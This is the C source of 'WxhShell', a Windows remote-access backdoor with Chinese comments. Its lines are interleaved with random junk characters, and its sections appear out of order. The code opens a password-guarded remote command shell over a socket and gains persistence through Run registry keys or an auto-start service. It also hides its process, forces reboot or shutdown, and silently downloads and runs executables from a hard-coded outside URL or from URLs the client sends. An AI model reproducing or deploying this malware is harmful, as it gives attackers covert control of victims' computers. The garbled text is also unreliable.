    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L- [<C/`;t  
    else { hA)tad]  
    closesocket(wsh); w~>V2u_-  
    ExitThread(0); }0c  
    }  Ex35  
    break; Wbc*x  
    } /X)fWO S6  
  // 获取shell Hk%m`|Z  
  case 's': { O.S(H1z<G  
    CmdShell(wsh); `i0RLGze  
    closesocket(wsh); '7}s25[{\  
    ExitThread(0); b@@`2O3"  
    break; 6R% I)  
  } X_XeI!,b  
  // 退出 v/6QE;BY&Q  
  case 'x': { 7>`QX%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "YD<pRVB  
    CloseIt(wsh); :%qJAjR&  
    break; 1lu _<?O  
    } -?n|kSHX  
  // 离开 V}ZF\SG(K  
  case 'q': { DWDL|4 og  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q}ho Y  
    closesocket(wsh); }~$zdgMT  
    WSACleanup(); l=%v  
    exit(1); {zhN>n_  
    break; i[)H!%RV*  
        } T%K"^4k  
  } `V[{(&?,n  
  } +~RiCZt  
b 8v?@s~  
  // 提示信息 jI0gQ [  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B@dA?w.x  
} p;Kw$fQ?  
  } :~BY[")  
_ v\=ag  
  return; MnUal}MO  
} n *|F=fl  
lil1$K: i  
// shell模块句柄 a%DnRkRr  
int CmdShell(SOCKET sock) g9I2 e<;o  
{ ZZp6@@zyq'  
STARTUPINFO si; I$v* SeVHE  
ZeroMemory(&si,sizeof(si)); 75}BI&t3k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yd:8i JA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fLl~a[(5  
PROCESS_INFORMATION ProcessInfo; ai[st+1  
char cmdline[]="cmd"; WP7*Q:5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4Y8/>uL  
  return 0; A?'Tigi  
} <<K GS  
EXUjdJs"  
// 自身启动模式 5 rkIK  
int StartFromService(void) W\gu"g`u  
{ U#R=y:O?  
typedef struct ]Ow A>fb  
{ 7:t+  
  DWORD ExitStatus;  6!])\Ay  
  DWORD PebBaseAddress; d4F3!*@(  
  DWORD AffinityMask; +s.r!?49+  
  DWORD BasePriority; 6}A1^RB+w  
  ULONG UniqueProcessId; 0 3kzS ]g  
  ULONG InheritedFromUniqueProcessId; r`}')2  
}   PROCESS_BASIC_INFORMATION; p7}x gUxX  
.p&4]6  
PROCNTQSIP NtQueryInformationProcess; uG@Nubdwuy  
m[,! orq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EQXvEJ^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l[mXbQd  
B/g.bh~)q  
  HANDLE             hProcess; wYK-YY:Q3  
  PROCESS_BASIC_INFORMATION pbi; !8M]n  
vx /NG$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jHq.W95+P  
  if(NULL == hInst ) return 0; hb'S!N5m  
&m_4#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \&|)?'8rS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H->J.5~,K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V9qA.NV2  
,[ &@?  
  if (!NtQueryInformationProcess) return 0; Q.Tn"rE|  
+gh6eY8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  chW 1UE  
  if(!hProcess) return 0; y`!~JL*  
8V@ /h6-e,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {H{u[XR[z  
>QV=q`I  
  CloseHandle(hProcess); LO0<=4iN(  
h-<2N)>!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :786Z,')  
if(hProcess==NULL) return 0; -t2bHhG  
uH S)  
HMODULE hMod; B B*]" gT  
char procName[255]; wB~Ag$~  
unsigned long cbNeeded; Z}6   
CEjMHP$=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fvg jqiT  
M q;m+{B  
  CloseHandle(hProcess); H@o 3u>}  
Ha{#  
if(strstr(procName,"services")) return 1; // 以服务启动 ^%tmHDNL.  
=Is.T  
  return 0; // 注册表启动 +x$GwX  
} ~p^&` FA  
NrPs :`  
// 主模块 A46z2  
int StartWxhshell(LPSTR lpCmdLine) WVlyR\.  
{ zX{K\yp  
  SOCKET wsl; *T0{ yI  
BOOL val=TRUE; 57*`y'C W  
  int port=0; O+hN?/>v  
  struct sockaddr_in door; ^Rriu $\  
H7!j5^  
  if(wscfg.ws_autoins) Install(); A]^RV{P  
L5 ~wX  
port=atoi(lpCmdLine); Kt5;GUV  
QyN<o{\FD!  
if(port<=0) port=wscfg.ws_port; <Uf?7  
~ _R 8; b  
  WSADATA data; 0w[#`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 60?/Z2w5  
YD1 :m3l!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K1]m:Y<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Obwj=_+upd  
  door.sin_family = AF_INET; dV(61C0wn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T@0\z1,~S  
  door.sin_port = htons(port); cC@B\Q  
k4Ed7T-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <RQ\nU  
closesocket(wsl); `{BY {  
return 1; = rDoXm  
} co^kP##Y  
* 0M[lR0t  
  if(listen(wsl,2) == INVALID_SOCKET) { dNd(57  
closesocket(wsl); ;s m )f  
return 1; J eCKnt=  
} .=rS,Tpo  
  Wxhshell(wsl); YmXh_bk  
  WSACleanup(); 'o41)p  
6S*L[zBnA\  
return 0; i!5zHn  
CsfGjqpf  
} @ov*Fh  
@AM;58.  
// 以NT服务方式启动 ; C/:$l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q5<'pi   
{ BVAxeXO  
DWORD   status = 0; (/6~*<ZGT  
  DWORD   specificError = 0xfffffff; _Ec9g^I10  
4 XSEN ]F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y#[jDS(ip  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qf0]7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 701ei;   
  serviceStatus.dwWin32ExitCode     = 0; -js:R+C528  
  serviceStatus.dwServiceSpecificExitCode = 0; Ei@w*.3P<  
  serviceStatus.dwCheckPoint       = 0; n1D,0+N=  
  serviceStatus.dwWaitHint       = 0; j?a^fcXB  
op!8\rM<e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yn!)('FdT!  
  if (hServiceStatusHandle==0) return; c8'a<<sj  
l0hcNEj{W  
status = GetLastError(); x93t.5E6  
  if (status!=NO_ERROR) 6@ B_3y  
{ 7{0;<@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?4p\ujc  
    serviceStatus.dwCheckPoint       = 0; /{h@A~<96  
    serviceStatus.dwWaitHint       = 0; /1A3 Sw  
    serviceStatus.dwWin32ExitCode     = status; NrQGoAOw  
    serviceStatus.dwServiceSpecificExitCode = specificError; -2Bkun4Pt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #6w\r&R6  
    return; )?es3Ehqq  
  } jhU'UAn  
Vqr#%. N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `x b\)  
  serviceStatus.dwCheckPoint       = 0; r57CyO  
  serviceStatus.dwWaitHint       = 0; Aun X[X9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l-?B1gd,l  
} _Z9HOl@  
H?\b   
// 处理NT服务事件,比如:启动、停止 wrtJ8O(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OQl7#`G!H%  
{ TV&:`kH  
switch(fdwControl) r1vF/yt(  
{ T >BlnA  
case SERVICE_CONTROL_STOP: # !:u*1  
  serviceStatus.dwWin32ExitCode = 0; ANqWY &f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5%`fh%  
  serviceStatus.dwCheckPoint   = 0; =~qQ?;o n  
  serviceStatus.dwWaitHint     = 0; .x6c.Y.S  
  { #J4{W84B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W|C>X=zTi  
  } v2Lx4:dzi  
  return; l~_] k  
case SERVICE_CONTROL_PAUSE: SQ$|s%)oB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c*fMWtPp  
  break; d2cslD d  
case SERVICE_CONTROL_CONTINUE: Kyn[4Bu!?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T9&-t7:  
  break; 5~BM+ja  
case SERVICE_CONTROL_INTERROGATE: $@WqM$  
  break; .X2fu/}  
}; D7v-+jypp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p]z< 43O$  
} HhZlHL  
cOhx  
// 标准应用程序主函数 #RfNk;kaA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aXOW +$,  
{ g3fxf(iY(  
}MW7,F  
// 获取操作系统版本 $_ &Lp\  
OsIsNt=GetOsVer(); |<:Owd=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S5%I+G3  
>VnBWa<j3  
  // 从命令行安装 B<V8:vOam  
  if(strpbrk(lpCmdLine,"iI")) Install(); KM'*+.I  
VaV(+X  
  // 下载执行文件 |IN{8  
if(wscfg.ws_downexe) { IF>dsAAI<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *F4"mr|\  
  WinExec(wscfg.ws_filenam,SW_HIDE); yX`5x^wVw  
} q:iB}ch5R  
(SH< ]@s  
if(!OsIsNt) { "#ctT-g`6  
// 如果时win9x,隐藏进程并且设置为注册表启动 `]u!4pP"  
HideProc(); /"q wC  
StartWxhshell(lpCmdLine); H!H&<71-  
} 4y: pj7h  
else L4Nn:9b  
  if(StartFromService()) te<lCD6  
  // 以服务方式启动 zYCS K~-GW  
  StartServiceCtrlDispatcher(DispatchTable); NZ{)&ObBRt  
else .()|0A B&g  
  // 普通方式启动 +mgm39  
  StartWxhshell(lpCmdLine); XWuHH;~*L  
VLL CdZ%  
return 0; pbXh}YJ&  
} vJ&g3ky  
V"A*k^}  
tAi ~i;?  
F]fBFDk  
=========================================== .m;5s45O{  
r2h{#2  
X npn{  
OrG1Mfx&2%  
M15jwR!:M  
],?$&  
" 3RbPc8($Y  
neLQ>WT L  
#include <stdio.h> ! 0}SZ  
#include <string.h> %U<1]  
#include <windows.h> &/\Q6$a  
#include <winsock2.h> l- mt{2  
#include <winsvc.h> 1xf Pe#  
#include <urlmon.h> )XFaVkQ}  
I1Jhvyd?$  
#pragma comment (lib, "Ws2_32.lib") 6Fe$'TP  
#pragma comment (lib, "urlmon.lib") ` !um )4  
i 6DcLE  
#define MAX_USER   100 // 最大客户端连接数 _ Vo35kA  
#define BUF_SOCK   200 // sock buffer g)L?C'BG  
#define KEY_BUFF   255 // 输入 buffer ZcQ@%XY3~  
*)8!~Hs   
#define REBOOT     0   // 重启 4?u<i=i  
#define SHUTDOWN   1   // 关机 w4<n=k  
:(?F(Q^  
#define DEF_PORT   5000 // 监听端口 Y!1x,"O'H  
=Z(_lLNmh  
#define REG_LEN     16   // 注册表键长度 H1fKe=$1  
#define SVC_LEN     80   // NT服务名长度 cYeC7l "  
N -z  
// 从dll定义API ~LG<Uu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nS` :)#;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'v~%rhq3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xG7/[ jG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^U8^P]{R|  
M hwuh`v%  
// wxhshell配置信息 z,f  
struct WSCFG { ==ZL0 ][  
  int ws_port;         // 监听端口 ^+MG"|)u~  
  char ws_passstr[REG_LEN]; // 口令 %b1NlzB+  
  int ws_autoins;       // 安装标记, 1=yes 0=no &BZjQK  
  char ws_regname[REG_LEN]; // 注册表键名 UG,<\k&  
  char ws_svcname[REG_LEN]; // 服务名 \@eaSa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /=i+7^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 />13?o#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0!5w0^1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vx#n0z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UVUoXv)N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,ozgnhZY  
jqJ't)N  
}; #Ave r]eK  
4\pUA4  
// default Wxhshell configuration Tw]].|^f-  
struct WSCFG wscfg={DEF_PORT, t/KH`  
    "xuhuanlingzhe", ETMF.-P  
    1, "oLY";0(=  
    "Wxhshell", ` JZ`j7f  
    "Wxhshell", 6|@\\\l  
            "WxhShell Service", 1:j[p=Q&  
    "Wrsky Windows CmdShell Service", #*zl;h1(  
    "Please Input Your Password: ", >S[NI<=8S  
  1, 7,IH7l|G  
  "http://www.wrsky.com/wxhshell.exe", C?h}n4\B^?  
  "Wxhshell.exe" aBblP8)8;K  
    }; 7O]$2  
0Q)m>oL.  
// 消息定义模块 ?]/"AWUX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6}"t;4@$x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ty5}5)CRZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;W2Rl%z88  
char *msg_ws_ext="\n\rExit."; C_rA'Hy  
char *msg_ws_end="\n\rQuit."; z:JQ3D7/we  
char *msg_ws_boot="\n\rReboot..."; i9=*ls^Cx  
char *msg_ws_poff="\n\rShutdown..."; $8;`6o`  
char *msg_ws_down="\n\rSave to "; D"vl$BX  
<ZXK}5SZ#  
char *msg_ws_err="\n\rErr!"; TJ`Jqnh  
char *msg_ws_ok="\n\rOK!"; XnNU-UCX  
}}q_QD_  
char ExeFile[MAX_PATH]; Xt$o$V  
int nUser = 0; C#tY};t  
HANDLE handles[MAX_USER]; 277Am*2  
int OsIsNt; H"vy[/UcR  
6_zyPh  
SERVICE_STATUS       serviceStatus; .% {4B,d$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0w9[Z  
)oCb9K:km  
// 函数声明  '.5_L8  
int Install(void); 7dq*e4z)  
int Uninstall(void); # M18&ld,r  
int DownloadFile(char *sURL, SOCKET wsh); h3BDHz,  
int Boot(int flag); qP4vH]  
void HideProc(void); 6_a~ 4_#  
int GetOsVer(void); EpdSsfDP  
int Wxhshell(SOCKET wsl); }\oy%]_mY  
void TalkWithClient(void *cs); UtzM+7r@  
int CmdShell(SOCKET sock); Z%9_vpWc  
int StartFromService(void); ]R%+  
int StartWxhshell(LPSTR lpCmdLine); fKkH [  
d'UCPg<Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cj3C%W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >sl#2,br  
-+,3aK<[  
// 数据结构和表定义 7]pi.1i  
SERVICE_TABLE_ENTRY DispatchTable[] = mWiX@#,  
{ cms9]  
{wscfg.ws_svcname, NTServiceMain}, +-d)/h.7  
{NULL, NULL} 96]!*}  
}; 3{FUFx  
En:/{~9{ F  
// 自我安装 |9x H9@^f  
int Install(void) KL^hYjC  
{ '\4 @  
  char svExeFile[MAX_PATH]; pe@j`Sm:Ej  
  HKEY key; 9LK<u$C  
  strcpy(svExeFile,ExeFile); ["} Yp  
[ m#|[%  
// 如果是win9x系统,修改注册表设为自启动 vq;_x  
if(!OsIsNt) { ^wTod\y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )zYm]\@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s;!Tz)  
  RegCloseKey(key); T$vDw|KSVP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M_Z(+k{Gy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %D $+Z(  
  RegCloseKey(key); %[J|n~8_Z  
  return 0; /AhN$)(O  
    } Api<q2@R  
  } Ow f:Kife  
} $5v:z   
else { rc()Eo50  
IuN:*P  
// 如果是NT以上系统,安装为系统服务 0.kQqy~5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  _YPu  
if (schSCManager!=0) KoF_G[m  
{ HCOE'24I  
  SC_HANDLE schService = CreateService Bq*aP*jv  
  ( ,o68xfdZVW  
  schSCManager, [_w;=l0 ;  
  wscfg.ws_svcname, S*9qpes-m|  
  wscfg.ws_svcdisp, qdY*y&}"J  
  SERVICE_ALL_ACCESS, Udl8?EVSz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %wk3&EC.  
  SERVICE_AUTO_START, o@j)clf  
  SERVICE_ERROR_NORMAL, 9f7T.}HM  
  svExeFile, \$[; d:9j  
  NULL, ]aqg{XdGt  
  NULL, pj/w9j G6  
  NULL, ML-?#jNa<  
  NULL, oJ`cefcWo  
  NULL G}ccf%  
  ); j c-$l  
  if (schService!=0) 8AQ@?\Rc"2  
  { vAH`tPi>  
  CloseServiceHandle(schService); {(j1#9+9  
  CloseServiceHandle(schSCManager); ,[{Z_co  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FdFN4{<QZ  
  strcat(svExeFile,wscfg.ws_svcname); |xX>AMZc)D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3S h#7"K3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aZBb@~Y  
  RegCloseKey(key); gK+/wTQ%  
  return 0; R^ &nBwp  
    } H){lXR/#u  
  } +x_9IvaW&?  
  CloseServiceHandle(schSCManager); 29~Bu5  
} .^aqzA=]  
} TF7~eyLg  
ux=0N]lc  
return 1; A$;"9F@  
} Uk@'[_1z  
}<KQ +  
// 自我卸载 F* h\#?  
int Uninstall(void) 9?L,DThQ  
{ KVA~|j B  
  HKEY key; AttS?TZr  
&m8Z3+Ea  
if(!OsIsNt) { D g~L"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z @d(0 z  
  RegDeleteValue(key,wscfg.ws_regname); B>Xfs ZS  
  RegCloseKey(key);  V9cKl[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =}^J6+TVL  
  RegDeleteValue(key,wscfg.ws_regname); P{ HYZg  
  RegCloseKey(key); [zMnlO  
  return 0; +q-/~G'  
  } K]s*rPT/,  
} ,"U_oa3  
} oasEG6OI8  
else { Eu)(@,]we  
3rh@|fg)E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [t}\8^y  
if (schSCManager!=0) " _{o}8L  
{ OD~B2MpM>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yv ZcG3@c3  
  if (schService!=0) C]'ru  
  { I?Fv!5p  
  if(DeleteService(schService)!=0) { yG..B  
  CloseServiceHandle(schService); :,[=g$CT:  
  CloseServiceHandle(schSCManager); d]!`II  
  return 0; 5?M d  
  } /.>8e%)  
  CloseServiceHandle(schService); wM aqR"%  
  } Htn''adg5  
  CloseServiceHandle(schSCManager); i?0+f }5<p  
} k/]4L!/ T  
} ] lONi  
e|2@z-Sp-  
return 1; RP|/rd]-k  
} \#O}K  
guc[du  
// 从指定url下载文件 \Jy/ a-  
int DownloadFile(char *sURL, SOCKET wsh) (#?k|e"Y"`  
{ X+LG Z4]D  
  HRESULT hr; R m^$Dn  
char seps[]= "/"; 5@&{%99  
char *token; JT(6Uf  
char *file; }X?M6;$)  
char myURL[MAX_PATH]; wcW8"J'AH  
char myFILE[MAX_PATH]; (eEs0  
T\3a T  
strcpy(myURL,sURL); 5N.-m;s  
  token=strtok(myURL,seps); O4lHR6M2  
  while(token!=NULL) vn"+x_  
  { p^>_VE[S  
    file=token; m?)REE  
  token=strtok(NULL,seps); x_VD9  
  } y Nc"E  
14Y<-OO: k  
GetCurrentDirectory(MAX_PATH,myFILE); '2X6 >6`w  
strcat(myFILE, "\\"); :Y)jf  
strcat(myFILE, file); %3;vDB*L$  
  send(wsh,myFILE,strlen(myFILE),0); 3 jR I@  
send(wsh,"...",3,0); K0xka[x=(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YggeKN  
  if(hr==S_OK) r=74 'g  
return 0; (u:^4,Z  
else g*]/HS>e<G  
return 1; 6)j4-  
{@YY8SKb9  
} |fIIfYE  
m(DJ6CSa  
// 系统电源模块 B3C%**~:e  
int Boot(int flag) /; {E}`  
{ sDXD>upO  
  HANDLE hToken; Svqj@@_f  
  TOKEN_PRIVILEGES tkp; 9Q /t+  
qr<RMs  
  if(OsIsNt) { kVeR{i<*(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jRGslak;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XV %DhR=  
    tkp.PrivilegeCount = 1; |9'`;4W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bpgvLZb>s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z}z 6Vg  
if(flag==REBOOT) { T0TgV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ($or@lfs  
  return 0; =9yh<'583  
} T j(MIFi|5  
else { Z`]r)z%f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ms%RNxU4:  
  return 0; hteAuz4H  
} UYw=i4J'  
  } <reALC  
  else { 0Fc^c[  
if(flag==REBOOT) { 3LW_qX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0aM&+j\q}  
  return 0; ^I y'G44  
} 6 @A'N(I=O  
else { dn1Fwy.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?%A9}"q]  
  return 0; ;Y9-0W  
} ?[VL 2dP0  
} MP_LdJM1E  
[L ?^+p>  
return 1; {16]8-pe  
} q"9 2][}  
&,8F!)[9  
// win9x进程隐藏模块 J5Ovj,[EZ  
void HideProc(void) Y!qn[,q8  
{ slTE.  
q/#p ol  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J:Idt}@z  
  if ( hKernel != NULL ) riv8qg  
  { E*AI}:or;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @s.civ!Yk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sXaudT  
    FreeLibrary(hKernel); N3(.7mxo  
  } l9t|@9  
v|Y ut~  
return; nghpWODq  
} v2l*n  
5RsO^2V:  
// 获取操作系统版本 N@#,YnPI  
int GetOsVer(void) Lm3~< vP1e  
{ =n<Lbl(7  
  OSVERSIONINFO winfo; C C B'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :Xi&H.k)p  
  GetVersionEx(&winfo); g^: & Dh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u*=8s5Q[  
  return 1; 572{DC&T  
  else [nASMKK0  
  return 0; Ji)Ys ebV  
} c> 0R_  
3 63KU@`  
// 客户端句柄模块 z50P* eS  
int Wxhshell(SOCKET wsl) 2!Qg1hM  
{ Fs(FI\^  
  SOCKET wsh; 0fzHEL  
  struct sockaddr_in client; y|/[;  
  DWORD myID; =1Hn<Xay0  
p?2^JJpUb  
  while(nUser<MAX_USER) R8-=N+hX  
{ /b7]NC%  
  int nSize=sizeof(client); 92x)Pc^D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SA?lDRF  
  if(wsh==INVALID_SOCKET) return 1; PH$C."Vv  
U'aJCM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 19b@QgfWpb  
if(handles[nUser]==0) es^@C9qt  
  closesocket(wsh); HA74s':FN  
else ShesJj  
  nUser++; N 9W,p 2  
  } T5Iz{Ha  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p1UYkmx[  
sBk|KG  
  return 0; hVIv->  
} m6uFmU*<M}  
*#9?9SYSk  
// 关闭 socket [Ob09#B%:5  
void CloseIt(SOCKET wsh) ^r~O*  
{ =P%?{7  
closesocket(wsh); ;pj,U!{%s\  
nUser--; -}u1ZEND  
ExitThread(0); " GY3sam  
} !bs5w_@  
mw&'@M_(7  
// 客户端请求句柄 8]mRX~  
void TalkWithClient(void *cs) B$M4f7  
{ 6UI6E)g  
lVCnu> 8  
  SOCKET wsh=(SOCKET)cs; $0R5 ]]db)  
  char pwd[SVC_LEN]; y$+=>p|d.^  
  char cmd[KEY_BUFF]; a+RUSz;DL  
char chr[1]; jO-T1P']Y  
int i,j; @ZRg9M:N  
DwGRv:&HH  
  while (nUser < MAX_USER) { 1~Z   
K@%gvLa\  
if(wscfg.ws_passstr) { 1 -$+@Xl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =QK ucLo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2H1 [ oD[  
  //ZeroMemory(pwd,KEY_BUFF); _(-i46x}  
      i=0; R"j<C13;%  
  while(i<SVC_LEN) { CG;+Z-"X  
K~4bT=   
  // 设置超时 + }$(j#h  
  fd_set FdRead; 0V?7'Em  
  struct timeval TimeOut; l9e=dV:pH  
  FD_ZERO(&FdRead); 9k \M<jA  
  FD_SET(wsh,&FdRead); *cZ7?  
  TimeOut.tv_sec=8; !mmSF1f  
  TimeOut.tv_usec=0; Tm$8\c4V:*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w  _4O;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [dFe-2u ,$  
`=S%!akj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x2TE[#><  
  pwd=chr[0]; |8tKN"QG  
  if(chr[0]==0xd || chr[0]==0xa) { =YIosmr  
  pwd=0; YYL3a=;`a  
  break; E 6+ ooB[  
  } +IMt$}7[  
  i++; , `PYU[  
    } $4*gi&  
\u04m}h]  
  // 如果是非法用户,关闭 socket %k<+#j6ZH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `n@;%*6/  
} -Kw7! =_ g  
Kn1T2WSAg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?9%$g?3Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tq SjL{l%  
X#Ob^E%J  
while(1) { v,Zoy|Lu  
[kTckZv  
  ZeroMemory(cmd,KEY_BUFF); nch#DE8 2  
Khl0~  
      // 自动支持客户端 telnet标准   yY{  
  j=0; YeVo=hYH@  
  while(j<KEY_BUFF) { EEMRy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E62_k 0q  
  cmd[j]=chr[0]; AQ0zsy  
  if(chr[0]==0xa || chr[0]==0xd) { =J"c'Z>.  
  cmd[j]=0; aK_k'4YTm  
  break; JP(0/?Q  
  } | #b/EA9  
  j++; QyY<Zi;6  
    } sgnc$x"  
@^J>. g  
  // 下载文件 sy-#Eo#3  
  if(strstr(cmd,"http://")) { unNN&m#@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NB5lxaL  
  if(DownloadFile(cmd,wsh)) R T~oJ~t;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ta<8~n^?  
  else 24 .'+3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _0ZU I^#  
  } oIQ$98M  
  else { Bz|/TV?X(  
=p7id5"  
    switch(cmd[0]) { 17`-eDd  
  ?*[35XUd  
  // 帮助 g7lPQ_A*  
  case '?': { x8x-b>|$&<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2Q7X"ek~[  
